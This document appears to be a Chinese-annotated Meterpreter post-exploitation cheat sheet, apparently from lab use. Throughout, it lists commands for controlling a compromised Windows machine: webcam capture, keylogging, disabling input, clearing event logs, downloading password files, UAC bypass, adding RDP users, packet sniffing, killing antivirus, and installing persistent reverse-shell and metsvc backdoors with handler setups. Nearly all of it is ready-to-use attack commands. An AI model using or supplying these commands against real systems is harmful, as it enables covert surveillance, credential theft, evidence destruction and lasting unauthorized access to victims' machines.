run persistence -X -i 5 -p 端口号 -r ip地址

sessions -i <ID值>  #进入会话   -k  杀死会话
background  #将当前会话放置后台
run  #执行已有的模块，输入run后按两下tab，列出已有的脚本
info #查看已有模块信息
getuid # 查看权限 
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息
ps # 查看当前活跃进程    kill <PID值> 杀死进程
idletime #查看目标机闲置时间
reboot / shutdown   #重启/关机
shell #进入目标机cmd shell

uictl disable mouse  #禁用鼠标
uictl disable keyboard  #禁用键盘
uictl enable mouse  #开启鼠标

webcam_list  #查看摄像头
webcam_snap   #通过摄像头拍照
webcam_stream   #通过摄像头开启视频

meterpreter > execute
Usage: execute -f file [options]
Executes a command on the remote machine.

OPTIONS:

    -H        Create the process hidden from view.
    -a <opt>  The arguments to pass to the command.
    -c        Channelized I/O (required for interaction).
    -d <opt>  The 'dummy' executable to launch when using -m.
    -f <opt>  The executable command to run.
    -h        Help menu.
    -i        Interact with the process after creating it.
    -k        Execute process on the meterpreters current desktop
    -m        Execute from memory.
    -p        Execute process in a pty (if available on target platform)
    -s <opt>  Execute process in a given session as the session user
    -t        Execute process with currently impersonated thread token
    -z        Execute process in a subshell

execute -H -i -f cmd.exe # 创建新进程cmd.exe，-H不可见，-i交互

meterpreter > execute -H -i -f powershell.exe
Process 12728 created.
Channel 1 created.
Windows PowerShell
??Ȩ???? (C) Microsoft Corporation??????????Ȩ????

?????µĿ?ƽ̨ PowerShell https://aka.ms/pscore6

PS C:\virus\ShellCode\ShellCode\Release> 

clearev #清除windows中的应用程序日志、系统日志、安全日志，需要管理员权限

getwd 或者pwd # 查看当前工作目录  
ls
cd
cat c:\\lltest\\lltestpasswd.txt  # 查看文件内容
upload /tmp/hack.txt C:\\lltest  # 上传文件到目标机上
download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件到本机上
edit c:\\1.txt #编辑或创建文件  没有的话，会新建文件
rm C:\\lltest\\hack.txt
mkdir lltest2  #只能在当前目录下创建文件夹
rmdir lltest2  #只能删除当前目录下文件夹
getlwd   或者 lpwd   #操作攻击者主机 查看当前目录
lcd /tmp   #操作攻击者主机 切换目录

meterpreter > search -h
Usage: search [-d dir] [-r recurse] -f pattern [-f pattern]...
Search for files.

OPTIONS:

    -d <opt>  The directory/drive to begin searching from. Leave empty to search all drives. (Default: )
    -f <opt>  A file pattern glob to search for. (e.g. *secret*.doc?)
    -h        Help Banner
    -r <opt>  Recursivly search sub directories. (Default: true)

search -f *secret*.doc  #全局搜索secret.doc这个文件

ipconfig/ifconfig
netstat –ano
arp
getproxy   #查看代理信息
route   #查看路由

meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]


OPTIONS:

    -L <opt>  Forward: local host to listen on (optional). Reverse: local host to connect to.
    -R        Indicates a reverse port forward.
    -h        Help banner.
    -i <opt>  Index of the port forward entry to interact with (see the "list" command).
    -l <opt>  Forward: local port to listen on. Reverse: local port to connect to.
    -p <opt>  Forward: remote port to connect to. Reverse: remote port to listen on.
    -r <opt>  Forward: remote host to connect to.

portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口

run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks   #获取最近的文件操作
run post/windows/gather/enum_ie  #获取IE缓存
run post/windows/gather/enum_chrome   #获取Chrome缓存
run post/windows/gather/enum_patches  #补丁信息
run post/windows/gather/enum_domain  #查找域控

BASH
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask

BASH
msf > use exploit/windows/local/bypassuac
msf > set SESSION 2
msf > run

enumdesktops  #查看可用的桌面
getdesktop    #获取当前meterpreter 关联的桌面
set_desktop   #设置meterpreter关联的桌面  -h查看帮助
screenshot  #截屏
use espia  #或者使用espia模块截屏  然后输入screengrab
run vnc  #使用vnc远程桌面连接，这方法有点问题，上传了exe但是启动不了

BASH
meterpreter > run getgui –h

[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
[!] Example: run post/windows/manage/enable_rdp OPTION=value [...]
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u <username> -p <password>
Or:    getgui -e

OPTIONS:

    -e        Enable RDP only.
    -f <opt>  Forward RDP Connection.
    -h        Help menu.
    -p <opt>  The Password of the user to add.
    -u <opt>  The Username of the user to add.

BASH
run getgui -e #开启远程桌面
run getgui -u lltest2 -p 123456   #添加用户
run getgui -f 6661 –e   #3389端口转发到6661

run post/windows/manage/enable_rdp  #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662  #将3389端口转发到6662

keyscan_start  #开始键盘记录
keyscan_dump   #导出记录数据
keyscan_stop #结束键盘记录

use sniffer
sniffer_interfaces   #查看网卡
sniffer_start 2   #选择网卡 开始抓包
sniffer_stats 2   #查看状态
sniffer_dump 2 /tmp/lltest.pcap  #导出pcap数据包
sniffer_stop 2   #停止抓包

meterpreter> run killav //这个脚本要小心使用，可能导致目标机器蓝屏死机

BASH
run persistence –h  #查看帮助
run persistence -X -i 5 -p 6661 -r 192.168.159.134
#-X指定启动的方式为开机自启动，-i反向连接的时间间隔(5s) –r 指定攻击者的ip

BASH
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 6661
msf > exploit

BASH
run metsvc –h   # 查看帮助
run metsvc –A   #自动安装后门

BASH
msf > use exploit/multi/handler
msf > set payload windows/metsvc_bind_tcp
msf > set RHOST 192.168.159.144
msf > set LPORT 31337
msf > exploit